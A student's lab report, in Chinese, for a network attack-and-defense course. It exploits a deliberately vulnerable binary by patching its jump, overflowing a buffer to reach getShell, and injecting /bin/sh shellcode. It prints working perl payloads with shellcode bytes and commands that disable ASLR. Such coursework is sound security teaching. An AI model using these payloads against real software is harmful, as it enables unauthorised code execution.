20212916 2021-2022-2《网络攻防实践》实践九
1. 实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode
2.实验步骤
2.1 实践1 手工修改可执行文件
将目标文件放在桌面并解压缩,之后输入命令与文件名进行反编译操作
可以看见里面的三个函数及其对应的存储位置
同时在main函数中调用了foo函数,接下来我们的工作就是更改代码,让main函数调用getshell函数。
输入命令,复制文件,接下来的操作都是针对这个复制的文件进行操作的。
文件复制成功
输入命令 启动vi后进入的工作模式
按esc然后输入:%!xxd更改显示模式为16进制
查找要修改的内容/d7
之后将d7修改为c3 选中要修改的字符,按下r键,然后键入修改内容即可修改成功
之后键入命令:%!xxd -r返回之前的格式,输入命令:wq存盘并退出
对修改后的文件2进行反编译,发现文件中的main函数已经被修改了
最后运行一下程序,发现跳回到了终端。说明修改成功啦
2.2实践2利用foo函数的Bof漏洞,构造攻击字符串
首先复制一个文件3,下面的操作都在在文件3上进行,首先对其进行反汇编操作
通过分析汇编程序可以发现foo函数的缓冲区溢出漏洞
接下来就是构造一个字符串,造成缓冲区溢出攻击,使用调试工具,其中r表示运行
输入一串字符,下面一行为回显,超过了28个,所以下方出现了报错,因为没有后面的数据对应的地址
可以看到eip的值发生了变化
重新输入一次,这次我们修改后面八个字符
这时我们发现eip的值又发生了改变
根据上面两次的输入,我们发现第五组的前四个字符会到eip,所以我们可以将这四个字符进行修改为0804847D或者7D840408(仅有一个是正确的)。应该是小端优先,所以应该是第一个字符,接下来我们输入修改后的命令进行验证。
由于键盘不能直接输入数据,我们采用一个外部输入的文件,命令如下图,可以看见桌面上有了一个为input的文件。
然后按照命令将input中的内容输入,运行程序,输入字符就不是回显内容,而是跳入到终端命令中了。
2.3注入一个自己制作的shellcode并运行这段shellcode
本实验刚刚开始是在kali下做的,但是安装软件不能成功,更新源也不可以,百度发现安装这个软件的都是Ubuntu,所以更换虚拟机之后下载成功了,最终实验也如期完成。
本次实验也是利用缓冲区溢出漏洞来注入shellcode。其中shellcode的首地址要放在eip中的0804847d的位置,shellcode则需要放在eip前面或者后面。
需要利用实验二的方法,32个数,占满堆栈的局部空间变量,最后四个字节在eip。
首先是实验前期的一些准备阶段,修改一些设置
首先复制一个pwn2,后续操作将在此文件上进行。
设置堆栈可执行
查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
构造shellcode为滑行区+shellcode+返回地址
命令行为:
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
将input_shellcode注入pwn2
命令:(cat input_shellcode;cat) | ./pwn2
找到pwn2的进程号;6605
命令:ps -ef | grep pwn2
打开gdb,输入命令:attach 6605 注意要在root权限下打开gdb,否则会报错
接下来输入 disassemble foo 发现在0x80284ae处停住
然后设置断点,break *0x080484ae 在第一个终端按回车,回到第二个 输入c
然后在gdb中输入info r esp,发现指针位置在0xbfffd4cc
0xbfffd21c+0x00000004=0xbffffd0,在开头倒序输入计算的结果
将\x01\x02\x03\x04\改为\xfc\xd1\xff\xff\x00
输入命令
perl -e 'print "A" x 32;print
"\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xfc\xd1\xff\xff\x00"' > input_shellcode1
输入命令运行程序
命令:(cat input_shellcode1;cat) | ./pwn2
之后按下回车界面显示有一部分乱码,这时攻击已经成功了,接着输入命令,发现已经跳到了终端。
问题
问题一:反编译命令之后代码内容显示不全,一直找不到想要的内容。
解决:请教同学之后发现需要按s键才能显示全部。
问题二:第一次实验其实是失败了的,可能是自己在更改代码的时候不小心修改了其他的内容。
解决:重来一遍就成功了。
问题三:按照步骤走,到最后一步就是不能成功。
解决:最后关闭了其他终端后,重新修改数,之后成功了。
思考
本次实验的实验二的重点在于如何去计算缓冲区溢出的数值和如何确定填充数字是什么,同时也对汇编语言能力有一定要求。有问题可以自己想办法,百度,或者自己思考问题所在,不要总是把希望寄托在别人的身上。